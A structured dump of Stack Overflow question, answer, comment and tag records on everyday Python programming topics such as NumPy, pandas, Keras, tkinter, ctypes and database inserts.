has body: I'm transitioning some stuff from R to Python and am curious about merging efficiently. I've found some stuff on concatenate in NumPy (using NumPy for operations, so I'd like to stick with it), but it doesn't work as expected. Take two datasets d1 = np.array([['1a2', '0'], ['2dd', '0'], ['z83', '1'], ['fz3', '0']]) ID Label 1a2 0 2dd 0 z83 1 fz3 0 and d2 = np.array([['1a2', '33.3', '22.2'], ['43m', '66.6', '66.6'], ['z83', '12.2', '22.1']]) ID val1 val2 1a2 33.3 22.2 43m 66.6 66.6 z83 12.2 22.1 I want to merge these together so that the result is d3 ID Label val1 val2 1a2 0 33.3 22.2 z83 1 12.2 22.1 So it's identified rows that match on the ID column and then concatenated these together. This is relatively simple in R using merge, but in NumPy it's less obvious to me. Is there a way to do this natively in NumPy that I am missing?
answer count: 1
has comment: http://stackoverflow.com/comment/85994796
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/7776907
has comment: http://stackoverflow.com/comment/98254576
type: UnansweredQuestion

http://stackoverflow.com/comment/85984627
has text: You can try `list(lexicon)`. If that doesn't do what you want, consider explaining what you want.
score: 0
comment on: http://stackoverflow.com/q/49490803
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86151513
score: 0
has text: see my answer@GhandaRahhal
comment on: http://stackoverflow.com/q/49569342
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49529107
has body: def count_negative(input_list): count = 0 for i in input_list: if i&lt;0 : count += 1; else: count += 0; return count Try this one it will give correct answer. now i will be the each element of list. https://www.tutorialspoint.com/python/python_for_loop.htm
type: Answer
answers question: http://stackoverflow.com/q/49528233
score: 0

http://stackoverflow.com/comment/86209288
has text: I am not sure why they took out the assert on iterable check in 2.4.0...it can confuse new users...
type: Comment
comment on: http://stackoverflow.com/a/49582755
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85978103
type: Comment
comment on: http://stackoverflow.com/q/49487551
has text: Have you tried `stderr`, some programs use `stderr` instead of `stdout`. I beleive if you send both `stderr` and `stdout` to `subprocess.PIPE` you should be able to catch it
score: 1
type: QuestionComment

http://stackoverflow.com/comment/86025660
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49510285
score: 0
has text: A small sample of data could be very instrumental for solution.

http://stackoverflow.com/q/49560763
type: UnansweredQuestion
score: 1
tagged with: python
has answer: http://stackoverflow.com/a/49560906
tagged with: numpy
downvote count: 0
tagged with: pandas
upvote count: 1
has body: I'm looking to create a new pandas dataframe from each row in a given dataframe. The values in the row are comma-delimited strings. e.g. Input COLUMN_1 COLUMN_2 COLUMN_3 "Marvel" "Hulk, Thor, Ironman" "1,7,8" "DC" "Spiderman, Batman, Flash" "18, 74, 88" Desired Output COLUMN_1 COLUMN_2 Hulk 1 Thor 7 Ironman 8 COLUMN_1 COLUMN_2 Spiderman 18 Batman 74 Flash 88 Thanks!
answer count: 1
favorite count: 0
type: Question
has title: Create a df from delimited values of each row in another df

http://stackoverflow.com/comment/89567188
score: 3
type: Comment
type: AnswerComment
has text: Now I get the output only in the debug console as desired, however, how do I get the debug console to automatically launch when i start debugging?
comment on: http://stackoverflow.com/a/49655972

http://stackoverflow.com/comment/86169520
comment on: http://stackoverflow.com/q/49579673
score: 0
has text: Actually re-looking at the exception, it looks like it a DB call issue somewhere? Also I assume this works without nginx? If you have not tested that part, I would suggest remove nginx and test directly
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/85970324
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49479078
has text: @cberkay First, I get the batches through `tf.train.batch` and then feed to the graph in `train_op.run()` step and then again I get new batch and then feed it to `train_op.run()`. I run this loop for 100 times. The training got stuck. It never got out of the loop.

http://stackoverflow.com/comment/86000147
score: 0
has text: I have used the same code given by Pen in below comment. Am not getting any error now. But same time am not getting the output
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49496182

image-generation
tags question: http://stackoverflow.com/q/49525530
type: Tag
tag name: image-generation

http://stackoverflow.com/comment/86002055
score: 0
comment on: http://stackoverflow.com/a/49470228
type: Comment
has text: I'm glad if it helped. The `print()` function is designed to work with your terminal, so Python tries to be clever and sync the standard-channel config with your environment. This makes life easier most of the time, but apparently not in your particular situation.
type: AnswerComment

http://stackoverflow.com/comment/86024871
score: 0
type: QuestionComment
has text: @mikuszefski However, currently we are trying to figure out how exactly such procedure could be written down? Is that some well-known method? I got suggestions to look at the Gaussian Mixture Regression, would yo have any ideas?
comment on: http://stackoverflow.com/q/49475128
type: Comment

http://stackoverflow.com/q/49447447
linked to: http://stackoverflow.com/q/53672602
tagged with: python
possible better answer: http://stackoverflow.com/a/49447528
answer count: 4
has answer: http://stackoverflow.com/a/57021376
tagged with: generator
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49447528
has title: Reusing generator expressions
tagged with: generator-expression
has answer: http://stackoverflow.com/a/49447520
downvote count: 0
has answer: http://stackoverflow.com/a/78595452
favorite count: 0
score: 8
type: Question
has comment: http://stackoverflow.com/comment/85896557
accepted answer: http://stackoverflow.com/a/49447520
upvote count: 8
has body: Generator expressions is an extremely useful tool, and has a huge advantage over list comprehensions, which is the fact that it does not allocate memory for a new array. The problem I am facing with generator expressions, which eventually makes me end up writing list comprehensions, is that I can only use a such a generator once: &gt;&gt;&gt; names = ['John', 'George', 'Paul', 'Ringo'] &gt;&gt;&gt; has_o = (name for name in names if 'o' in name) &gt;&gt;&gt; for name in has_o: ... print(name.upper()) ... JOHN GEORGE RINGO &gt;&gt;&gt; for name in has_o: ... print(name.lower()) ... &gt;&gt;&gt; The above code illustrates how the generator expression can only be used once. That's of course, because the generator expression returns an instance of the generator, rather than defining a generator function which could be instantiated again and again. Is there a way to clone the generator each time it is used, in order to make it reusable, or to make the generator expressions syntax return a generator function rather than a single instance?

http://stackoverflow.com/comment/86169563
comment on: http://stackoverflow.com/q/49579673
score: 0
type: Comment
has text: My wild guess is that it is trying to query /api/v1/usersapi/v1. It was working directly without unix socket.
type: QuestionComment

http://stackoverflow.com/comment/86189796
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49590976
has text: Can you please share the files that in the pgu-0.18.zip ?
score: 0

http://stackoverflow.com/comment/121063667
has text: To update this answer: "tfkerassurgeon" is no longer being maintained and does not work for the current TensorFlow version (2.5.0). On the other hand, "kerassurgeon" DOES support Keras through TensorFlow (i.e tensorflow.keras), not just standalone Keras.
type: AnswerComment
comment on: http://stackoverflow.com/a/58549061
type: Comment
score: 2

http://stackoverflow.com/comment/85948304
has text: Oh my God, it's got an s. Training Cars Edges. It works perfectly now. I feel so dumb right now. In my defense, it is very late.
comment on: http://stackoverflow.com/q/49472754
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49561290
has title: Find Python Source Filename After os.chdir()
has comment: http://stackoverflow.com/comment/86130876
has body: I've got a pyunit test that does an os.chdir() to go to a temporary test directory. I'd like to reach back and grab a file that is next to the python script being executed. inspect.getfile(inspect.currentframe()) returns the filename for the executing file. But I cannot find the associated directory. os.path.dirname.os.path.abspath(inspect.getfile(inspect.currentframe()))) returns the path to os.getcwd() with the filename appended, but I cannot find a way to get the full path to the running script. I've checked all the duplicates that this kind of questions get sent to and have found no solution to this scenario, which is changing to a new temporary directory and trying to reach back and copy a file next to the original script. I would do the copy before, but I'm extending a TestCase that puts me into the temporary directory before my test starts running. So my only link back is the executing file.
has comment: http://stackoverflow.com/comment/86130839
score: 0
has comment: http://stackoverflow.com/comment/86132226
tagged with: python-unittest
tagged with: python
has comment: http://stackoverflow.com/comment/86130921
type: Question
has comment: http://stackoverflow.com/comment/86131317
answer count: 0
has comment: http://stackoverflow.com/comment/86131176
has comment: http://stackoverflow.com/comment/86131375
type: UnansweredQuestion

generator
type: Tag
tags question: http://stackoverflow.com/q/49519186
tags question: http://stackoverflow.com/q/49447447
tags question: http://stackoverflow.com/q/49460037
tag name: generator
tags question: http://stackoverflow.com/q/49470142

http://stackoverflow.com/comment/86163297
type: QuestionComment
score: 0
has text: Could you provide a small (maybe two lines) sample of your input data and post your entire script (e.g. fill in the blanks where "doing all the needed sorting stuff" is)? It is unclear where `temp_list` comes from and how to get access to the text to figure out where acts end and start etc.
comment on: http://stackoverflow.com/q/49563500
type: Comment

http://stackoverflow.com/comment/85890688
score: 3
type: Comment
type: QuestionComment
has text: possibly duplicate of [Find the intersection between two geographical data points](https://stackoverflow.com/questions/27431528/find-the-intersection-between-two-geographical-data-points).
comment on: http://stackoverflow.com/q/49444562

http://stackoverflow.com/comment/86122773
comment on: http://stackoverflow.com/a/49544877
has text: Actually that (-215) error was a typo in the script on my end... The XML wasn't referenced properly in the file directory pathname... IT WORKS PERFECT! THANKS!!!!
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/61681673
type: Answer
has body: I haven't used it, but I noticed Astropy.WCSAxes package has an example of drawing a map with overlaid galactic and equatorial grids: https://docs.astropy.org/en/stable/visualization/wcsaxes/overlaying_coordinate_systems.html
score: 1
answers question: http://stackoverflow.com/q/49495130
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/86132343
comment on: http://stackoverflow.com/a/49561664
has text: Awesome, this is encyclopedic. I wasn't aware there was such "animosity" against higher-order functions! I'm glad they remained, I still find more idiomatic using `map` in some cases (less so `filter`), although I see how it may go against the "one obvious way to do it" zen.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/86163754
type: QuestionComment
has text: You have your indices backwards. Change `for y in range(largeur):` to `for x in range(largeur):` and `for x in range(longueur):` to `for y in range(longueur):`. Also, please learn [how to debug](https://ericlippert.com/2014/03/05/how-to-debug-small-programs/).
score: 1
comment on: http://stackoverflow.com/q/49578009
type: Comment

http://stackoverflow.com/a/49453776
downvote count: 0
upvote count: 1
score: 1
has body: Yes. Provided you used sigmoid or softmax for prediction you should be getting values that are reasonable to interpret as probabilities (DNNClassifier will use softmax as far as I know). Now you didn't give us any details on the models. Depending on the complexity of the models and the training parameters you might be getting more over fitting. If you are seeing extreme (0 or 1) values for the overlapping area it's probably over fitting. Use test/validation set to keep a check on it. From what you are describing a very simple model should do, try to have less depth, less parameters.
type: Answer
answers question: http://stackoverflow.com/q/49453535
has comment: http://stackoverflow.com/comment/85911306

http://stackoverflow.com/a/55146535
has body: The solution from @MilindDeore did not work for me, unfortunately. While I can print the summary of the new model, I receive a "Matrix size incompatible" error upon prediction. I guess this makes sense, since the new input shape of the dense layer does not match the shape of the old dense layer weights. Thus, here is another solution. The key for me was to use "_layers" instead of "layers". The latter only seems to return a copy. import keras import numpy as np def get_model(): old_input_shape = (20, 20, 3) model = keras.models.Sequential() model.add(keras.layers.Conv2D(9, (3, 3), padding="same", input_shape=old_input_shape)) model.add(keras.layers.MaxPooling2D((2, 2))) model.add(keras.layers.Flatten()) model.add(keras.layers.Dense(1, activation="sigmoid")) model.compile(loss='binary_crossentropy', optimizer=keras.optimizers.Adam(lr=0.0001), metrics=['acc'], ) model.summary() return model def change_model(model, new_input_shape=(None, 40, 40, 3)): # replace input shape of first layer model._layers[1].batch_input_shape = new_input_shape # feel free to modify additional parameters of other layers, for example... model._layers[2].pool_size = (8, 8) model._layers[2].strides = (8, 8) # rebuild model architecture by exporting and importing via json new_model = keras.models.model_from_json(model.to_json()) new_model.summary() # copy weights from old model to new one for layer in new_model.layers: try: layer.set_weights(model.get_layer(name=layer.name).get_weights()) except: print("Could not transfer weights for layer {}".format(layer.name)) # test new model on a random input image X = np.random.rand(10, 40, 40, 3) y_pred = new_model.predict(X) print(y_pred) return new_model if __name__ == '__main__': model = get_model() new_model = change_model(model)
has comment: http://stackoverflow.com/comment/119707742
upvote count: 9
type: Answer
answers question: http://stackoverflow.com/q/49546922
downvote count: 0
score: 9

http://stackoverflow.com/q/49502707
has comment: http://stackoverflow.com/comment/86025336
tagged with: python
has title: ctypes: structure, size_t field
has comment: http://stackoverflow.com/comment/86011339
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86023869
has body: I am trying to implement python-to-c binding via ctypes for libnfc. I have a structure, here is a wrong variant: class nfc_iso14443a_info(Structure): _fields_ = [ ('abtAtqa', c_uint8 * 2), ('btSak', c_uint8), ('szUidLen', c_uint8 * 8), ('abtUid', c_uint8 * 10), ... At some moment during debug session it looks like that: The problem here is that I want szUidLen to be 64-bit unsigned integer equal to 7. More precisely, it must match size_t szUidLen; from nfc-types.h. So i tried an obvious variant and changed c_uint8 * 8 to c_size_t and it doesn't work: class nfc_iso14443a_info(Structure): _fields_ = [ ('abtAtqa', c_uint8 * 2), ('btSak', c_uint8), ('szUidLen', c_size_t), ('abtUid', c_uint8 * 10), ... What am I missing here?
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/49523561
score: 1
has comment: http://stackoverflow.com/comment/86043524
favorite count: 0
has answer: http://stackoverflow.com/a/49523561
possible better answer: http://stackoverflow.com/a/51788147
tagged with: ctypes
type: Question
has answer: http://stackoverflow.com/a/51788147
has comment: http://stackoverflow.com/comment/86011358
answer count: 2
has comment: http://stackoverflow.com/comment/86011466

http://stackoverflow.com/q/49579485
linked to: http://stackoverflow.com/q/64104922
has comment: http://stackoverflow.com/comment/86167963
type: UnansweredQuestion
score: 1
upvote count: 1
tagged with: apt-get
downvote count: 0
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86167110
tagged with: sudo
has comment: http://stackoverflow.com/comment/86166926
tagged with: windows
has body: I'm using Windows 10 and trying to run python setup.py on cmd, it is able to run the pip commands but not sudo and apt-get saying it doesn't recognize the command and internal or external and ends the message with Traceback (most recent call last): File "setup.py", line 17, in &lt;module&gt; a,b,c = version.split(".") # a is the var with the aa ValueError: need more than 2 values to unpack I tried running it through bash since bash does recognize apt-get and sudo but it doesn't recognize the python command. It also said it didn't recognize firefox command so I added it to the Path and ran it again. The second time no message on firefox appeared but noting else happened, I was expecting firefox to open. I opened setup.py with vim import os, math, sys OS_bit = (round(math.log(sys.maxint,2)+1)) # get the bit os.system("sudo apt-get install python-pip &amp;&amp; sudo apt-get install tor") # installing dependencies os.system("pip install -U selenium") os.system("pip install Pysocks") os.system("pip install pyvirtualdisplay &amp;&amp; apt-get install xvfb") print("\n \n {} \n \n".format(OS_bit)) os.system('firefox -v &gt; tmp') # store result of firefox -v in tmp result = open('tmp', 'r').read() # result var reads the output marker = result.find('Firefox') + 8 # marker marks the 8th letter from the word "Firefox" version = result[marker:].splitlines()[0] # spliting the output, the version is something like aa.bb.cc a,b,c = version.split(".") # a is the var with the aa os.remove('tmp') # removing the temporary file FirefoxVersion = int(a) second = 0 if FirefoxVersion &lt; 53: first = 16 second = 1 OS_bit = 64 elif FirefoxVersion == 53 or FirefoxVersion == 54: first = 18 elif FirefoxVersion &gt; 54: first = 19 os.system("wget https://github.com/mozilla/geckodriver/releases/download/v0. {}.{}/geckodriver-v0.{}.{}- linux{}.tar.gz".format(first,second,first,second,OS_bit)) os.system("tar -xvzf geckodriver-v0.{}.{}- linux{}.tar.gz".format(first,second,OS_bit)) os.system("rm gec…
tagged with: python
duplicate of: http://stackoverflow.com/q/64104922
has comment: http://stackoverflow.com/comment/86172108
has title: How to run python setup.py on windows with apt-get and sudo commands?
answer count: 0

min
type: Tag
tags question: http://stackoverflow.com/q/49554747
tag name: min
tags question: http://stackoverflow.com/q/49478545

http://stackoverflow.com/q/49581662
has comment: http://stackoverflow.com/comment/86226945
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86240382
upvote count: 7
tagged with: github
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49582311
tagged with: issue-tracking
has answer: http://stackoverflow.com/a/49582311
score: 7
tagged with: pygithub
has title: How to close an issue with GitHub API
tagged with: python
type: AnsweredQuestion
tagged with: github-api
has body: I am trying to figure out how to close an issue through the Github API. Specifically I'm trying to do it through pyGitHub and python, but knowing how to close an issue through the GitHub API would be enough to let me figure it out. Can anyone point me in the right direction? I'm sure it's simple but I can't find it in the documentation

http://stackoverflow.com/a/49548493
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49548040
upvote count: 1
has comment: http://stackoverflow.com/comment/86104638
has comment: http://stackoverflow.com/comment/86104542
has comment: http://stackoverflow.com/comment/86104860
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86104742
has comment: http://stackoverflow.com/comment/86104435
has body: What you are doing in your summing procedure is effectively a convolution with a + shaped filter. You can get this much faster if you replace your explicit loops with one call to the convolve2d function of scipy which will do all the necessary looping for you but not in python but in C: import numpy as np from scipy.signal import convolve2d # Your original array: a = np.asarray([[1, 2, 3, 4], [5, 6, 7 ,8], [9, 10, 11, 12], [13, 14, 15, 16]]) # Building a filter that is essentially a + with arms of length 4 mask = np.zeros((2*4+1, 2*4+1)) mask[4, :] = 1 mask[:, 4] = 1 # Apply that filter to your array sums = convolve2d(a, mask, mode="same") # Find the maximum and its position in the sums array: np.max(sums), np.unravel_index(np.argmax(sums), sums.shape) In the end, sums is the array giving the value of your summing procedure for each position in the original array. You are only left to find the maximum and its position. While the complexity might not be better than that of your solution, it will still be much faster, as python loops are extremely slow, whereas a lot of machinery in numpy and scipy is written in C/Fortran, speeding up the computations. Timing your solution vs. this one on a 100x100 array gives a speed-up-factor of approx. 40 on my machine (78.7ms vs 2.06ms).
has comment: http://stackoverflow.com/comment/86104807
answers question: http://stackoverflow.com/q/49548040

http://stackoverflow.com/comment/86240611
comment on: http://stackoverflow.com/q/49594720
score: 0
has text: Gotcha, thanks for clarifying. Can you please post the line of code that raises the exception as well as some surrounding lines for context? Thanks!
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49475774
downvote count: 0
upvote count: 1
has body: Lets say you got type field in your model. You can then do something like so in your view.py: posts = models.Post.objects.all() posts_serializer = serializers.PostSerializer(posts, many=True) output = {} for post in posts_serializer.data: type = output.get(post['type'], []) output[type].append(post) return Response(output) You should add more code and what you tried to do next time you are asking a question. Good Luck
accepted answer of: http://stackoverflow.com/q/49473759
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49473759
type: AcceptedAnswer

http://stackoverflow.com/a/49501394
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49501315
has body: You can just set your key1 and key2 to index , then using combine_first, if you need key1 and key2 become column again adding reset_index() at the end . df1=df1.set_index(['key1','key2']) df2=df2.set_index(['key1','key2']) df1.combine_first(df2.reindex(df1.index)) Out[711]: val1 val2 val3 key1 key2 1 2 a b c 1 a b c 2 2 NaN NaN NaN df2.loc[~df2.index.isin(df1.index)] Out[712]: val1 val2 val3 key1 key2 3 2 a b c
accepted answer of: http://stackoverflow.com/q/49501315
type: Answer
has comment: http://stackoverflow.com/comment/86007452
score: 1
type: AcceptedAnswer

http://stackoverflow.com/a/49514500
accepted answer of: http://stackoverflow.com/q/49507667
type: Answer
answers question: http://stackoverflow.com/q/49507667
score: 0
type: AcceptedAnswer
has body: You can't use a normal integer as the value for the variable option. Well, you can, as your code illustrates, but there is no way to get the value back out. You must provide one of the tkinter variables as the value of the variable option. All radiobuttons with the same variable will be tied together in a group. If you want two groups, you will need to use two variables. Also, you should initialize the varibles to have one of the allowed values, otherwise your radiobuttons will likely not be in the state that you expect. group1 = IntVar(value=1) group2 = IntVar(value=3) radio1 = Radiobutton(mainframe,text='rbutton1', value=1, variable=group1) radio2 = Radiobutton(mainframe,text='rbutton2', value=2, variable=group1) radio3 = Radiobutton(mainframe,text='rbutton3', value=3, variable=group2) radio4 = Radiobutton(mainframe,text='rbutton4', value=4, variable=group2)

http://stackoverflow.com/a/49523446
score: 1
downvote count: 0
type: Answer
has body: Send post request with your user data. Then parse the response to get your link. import requests from flask import Flask, redirect app = Flask(__name__) @app.route('/test', methods=['POST']) def test(): # Get your post data from your client request and process it # Send POST request r = requests.post("http://example.com", data={your_data}) res_var = response.text #TEXT/HTML response res_code = response.status_code, response.reason #HTTP new_destination = '' # get your new link from res_var Once you have your redirect link... simply use: return redirect(new_destination, code=302)
answers question: http://stackoverflow.com/q/49523142
upvote count: 1

http://stackoverflow.com/a/49544986
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: You can definitely use if/else statements in settings.py, or any Python code really. Common practice is to put values which differ, especially secrets like database passwords, in environment variables. You set these to different values in production or locally and access them in Python using os.environ.
answers question: http://stackoverflow.com/q/49544913
type: Answer
accepted answer of: http://stackoverflow.com/q/49544913
score: 1

http://stackoverflow.com/q/49588363
tagged with: scipy
has answer: http://stackoverflow.com/a/49589190
type: Question
tagged with: numpy
has body: I am trying to apply hierarchial cluster to pixel values of an image. This is to assign different areas of the image and extract segments with similar color. The problem area is to segment image by near colors only, not by shapes. I am trying like (assume the image is loaded as numpy array of shape(256,256,3), can't share the picture due to copyright issue: from scipy.cluster.hierarchy import dendrogram, linkage ppp=img.reshape(img.shape[0]*img.shape[1],img.shape[2]) Z = linkage(ppp, method = 'ward') dendrogram(Z,leaf_rotation=90., leaf_font_size=8.,) This is giving error: MemoryError Traceback (most recent call last) &lt;ipython-input-87-39453b2f2da1&gt; in &lt;module&gt;() 14 ppp=img.reshape(img.shape[0]*img.shape[1],img.shape[2]) ---&gt; 15 Z = linkage(ppp, method = 'ward') 16 dendrogram(Z,leaf_rotation=90., leaf_font_size=8.,) ~\AppData\Local\Continuum\anaconda3\lib\site-packages\scipy\cluster\hierarchy.py in linkage(y, method, metric, optimal_ordering) 706 'matrix looks suspiciously like an uncondensed ' 707 'distance matrix') --&gt; 708 y = distance.pdist(y, metric) 709 else: 710 raise ValueError("`y` must be 1 or 2 dimensional.") ~\AppData\Local\Continuum\anaconda3\lib\site-packages\scipy\spatial\distance.py in pdist(X, metric, *args, **kwargs) 1650 out = kwargs.pop("out", None) 1651 if out is None: -&gt; 1652 dm = np.empty((m * (m - 1)) // 2, dtype=np.double) 1653 else: 1654 if out.shape != (m * (m - 1) // 2,): Can you please help?
tagged with: cluster-analysis
tagged with: python
type: AnsweredQuestion
score: 0
has title: usage of linkage function from scipy.cluster.hierarchy
answer count: 1
accepted answer: http://stackoverflow.com/a/49589190

http://stackoverflow.com/a/49528536
score: 0
type: Answer
answers question: http://stackoverflow.com/q/49528233
has body: Using range() and len() in a for loop is a poor way of iterating through a list because you have to maintain the iterator yourself. Sometimes it is justified, but not here. You don't need the index, you get an iterator for free: def count_negative(input_list): count = 0 for item in input_list: if item &lt; 0 : count += 1 else: count += 0 return count As someone else said, the count += 0 is useless, but there is a case (a weak one) for saying it is a documentary place holder, so I left it in. I did remove the trailing semi-colons though.

http://stackoverflow.com/comment/86087492
has text: thank's for answering , my new views.py is class taskDelete(DeleteView): model = task success_url = reverse_lazy('home') and urls.py url(r'^home/?<task_id>[0-9]+/$', views.MyDeleteView.as_view(), name='task_Delete'), still nothing happend
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49539438

http://stackoverflow.com/comment/86218211
has text: Yes, i want to complete using Method 2. could you please provide me with the code for example.
type: Comment
comment on: http://stackoverflow.com/a/49598978
type: AnswerComment
score: 0

http://stackoverflow.com/q/49459591
has body: I would like to create a dashboard using R. However, all the data that I need to connect is from TM1. The easiest way that I found is using an python library called TM1py to connect to tm1 data. I would like to know what is the easist to access to access TM1py library from R ? Thanks
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49622289
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/57140030
tagged with: http://stackoverflow.com/tag/r
has title: Tm1 to python to R
answer count: 3
has answer: http://stackoverflow.com/a/49677526
upvote count: 1
score: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85922140

http://stackoverflow.com/comment/85924076
comment on: http://stackoverflow.com/q/49440984
type: Comment
score: 1
has text: @the_cheff I actually just want to add it to the virtualenv I am using so I want to avoid conda. If there is no fix I think I will just download the binary and use the command line to execute functions.
type: QuestionComment

http://stackoverflow.com/comment/93679303
type: QuestionComment
has text: [related discussion](https://github.com/python/typing/issues/594#issuecomment-440355134) on the python/typing repo.
comment on: http://stackoverflow.com/q/49480716
score: 1
type: Comment

http://stackoverflow.com/a/49502736
score: 4
upvote count: 4
has body: Problem You are getting AttributeError: 'MyLayout' object has no attribute 'print_something' because it cannot find the function, print_something. Solution Please refer to the explanations, example and output for details. Explanations jwelkreator.py Add from simpleForm import MyLayout Remove Builder.load_file('simpleForm.kv') jwelkreator.kv Add #:include simpleForm.kv to include an external kivy file. include &lt;file&gt; - Kivy Language Includes an external kivy file. This allows you to split complex widgets into their own files. simpleForm.py You don't have to define the dynamic class, LblTxt(BoxLayout) since you have it defined in your kv file. Dynamic Classes - Programming Guide » Kv language This class, created just by the declaration of this rule, inherits from the Button class and allows us to change default values and create bindings for all its instances without adding any new code on the Python side. simpleform.kv Since in the Python script, simpleForm.py, you have already defined class MyLayout is of BoxLayout, you don't to inherit it in the kv file. Replace &lt;MyLayout@BoxLayout&gt; with &lt;MyLayout&gt; Example jwealkreator.py from kivy.app import App from kivy.uix.anchorlayout import AnchorLayout from simpleForm import MyLayout class JwelKreator(AnchorLayout): pass class JwelKreatorApp(App): def build(self): return JwelKreator() if __name__ == "__main__": JwelKreatorApp().run() jwealkreator.kv # File name: jwelkreator.kv #:kivy 1.10.0 #:include simpleform.kv &lt;JwelKreator&gt;: anchor_x: 'left' anchor_y: 'top' MyLayout: id: _tool_box size_hint: None,0.75 width: 300 simpleForm.py from kivy.app import App from kivy.uix.boxlayout import BoxLayout class MyLayout(BoxLayout): def print_something(self): print("Hello") class SimpleFormApp(App): def build(self): return MyLayout() if __name__ == "__main__": SimpleFormApp().run() simpleform.kv #:kivy 1.10.0 &lt;LblTxt@BoxLayout&gt;: id:LblTxtid orientation: 'horizontal' lblTxtIn: 'default' theTxt: iAmTxt Label:…
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49443284
answers question: http://stackoverflow.com/q/49443284
type: Answer
has comment: http://stackoverflow.com/comment/86013020

http://stackoverflow.com/comment/105172710
score: 1
type: Comment
type: AnswerComment
has text: take a look at the answer
comment on: http://stackoverflow.com/a/49510257

http://stackoverflow.com/a/49650576
downvote count: 3
has comment: http://stackoverflow.com/comment/88789149
answers question: http://stackoverflow.com/q/49491732
upvote count: 0
has body: I did some digging into it and I finally found something so if someone else will ever need the answer: import OpenSSL def extract_san_from_cert(cert_body): ''' This function will extract the SAN (Subject Alt Names) from the certificate ''' cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert_body) try: crt = cert.get_extension(6) data = crt.get_data() # ignore first 4 bytes and split in \x82\18 (,) san = data[4:].split('\x82\x18') except IndexError as err: # No SAN in the certificate san = [] return san
score: -3
type: Answer
has comment: http://stackoverflow.com/comment/118413873
has comment: http://stackoverflow.com/comment/88789251

http://stackoverflow.com/a/49598599
has comment: http://stackoverflow.com/comment/97343321
answers question: http://stackoverflow.com/q/49598456
has comment: http://stackoverflow.com/comment/86204581
has comment: http://stackoverflow.com/comment/86204710
type: AcceptedAnswer
type: Answer
upvote count: 16
has comment: http://stackoverflow.com/comment/95227625
has comment: http://stackoverflow.com/comment/86204749
has body: You can use a ttk.Separator widget. Add the following to your code: import tkinter.ttk tkinter.ttk.Separator(master, orient=VERTICAL).grid(column=1, row=0, rowspan=3, sticky='ns') Here rowspan=3 is necessary to make the separator span all 3 rows (the header, player 1 and player2). The sticky='ns' is there to stretch the separator from the top to the bottom of the window. Separators are only 1 pixel long per default, so without the sticky it would hardly be visible. Preview of the result:
accepted answer of: http://stackoverflow.com/q/49598456
downvote count: 0
score: 16
has comment: http://stackoverflow.com/comment/107429213
has comment: http://stackoverflow.com/comment/86204525

http://stackoverflow.com/q/49571911
score: 0
has comment: http://stackoverflow.com/comment/86151322
has comment: http://stackoverflow.com/comment/86153177
type: UnansweredQuestion
tagged with: amazon-web-services
answer count: 1
has answer: http://stackoverflow.com/a/49572134
tagged with: amazon-redshift
tagged with: sql
has comment: http://stackoverflow.com/comment/86151675
has title: Inserting data to redshift using python
tagged with: python
has comment: http://stackoverflow.com/comment/86151501
has comment: http://stackoverflow.com/comment/86151414
has body: I'm trying to insert multiple rows into amazon redshift database , the rows included in a list of tuples which looks like this: my_rows=[(1, 0.0, 0, 0.0, 2010188534, 1816780086, 1113834, '2018-03-07 09:40:17', '2018-03-07 09:40:17', '2018-03-07 09:40:17'), (1, 0.0, 1, 0.0, 2010188536, 1816780086, 1119396, '2018-03-07 09:40:17', '2018-03-07 09:40:17', '2018-03-07 09:40:17'), (1, 0.0, 2, 0.0, 2010188538, 1816780086, 1119398, '2018-03-07 09:40:17', '2018-03-07 09:40:17', '2018-03-07 09:40:17'), (1, 0.0, 3, 0.0, 2010188540, 1816780086, 1123612, '2018-03-07 09:40:17', '2018-03-07 09:40:17', '2018-03-07 09:40:17'), (1, 0.5, 0, 0.0, 2010188542, 1816780102, 1086852, '2018-03-07 09:40:17', '2018-03-07 09:40:17', '2018-03-07 09:40:17'), (1, 0.5, 1, 0.0, 2010188544, 1816780102, 1087014, '2018-03-07 09:40:17', '2018-03-07 09:40:17', '2018-03-07 09:40:17'), (1, 0.3, 2, 0.0, 2010188546, 1816780102, 1089224, '2018-03-07 09:40:17', '2018-03-07 09:40:17', '2018-03-07 09:40:17'), (1, 0.3, 3, 0.0, 2010188548, 1816780102, 1089348, '2018-03-07 09:40:17', '2018-03-07 09:40:17', '2018-03-07 09:40:17'), (1, 0.3, 4, 0.0, 2010188550, 1816780102, 1122564, '2018-03-07 09:40:17', '2018-03-07 09:40:17', '2018-03-07 09:40:17')] Some columns may contain None I'm inserting them row by row into Redshift database this way: cur = con.cursor() columns_names=("c1","c2","c3","c4","c5","c6","c7","c8","c9","c10") insert_reference=len(my_rows[0])*"%s," values_references="("+insert_reference[0:-1]+")" for row in my_rows: cur = con.cursor() insert_query="INSERT INTO "+table+" "+columns_names+" VALUES "+values_references+";" 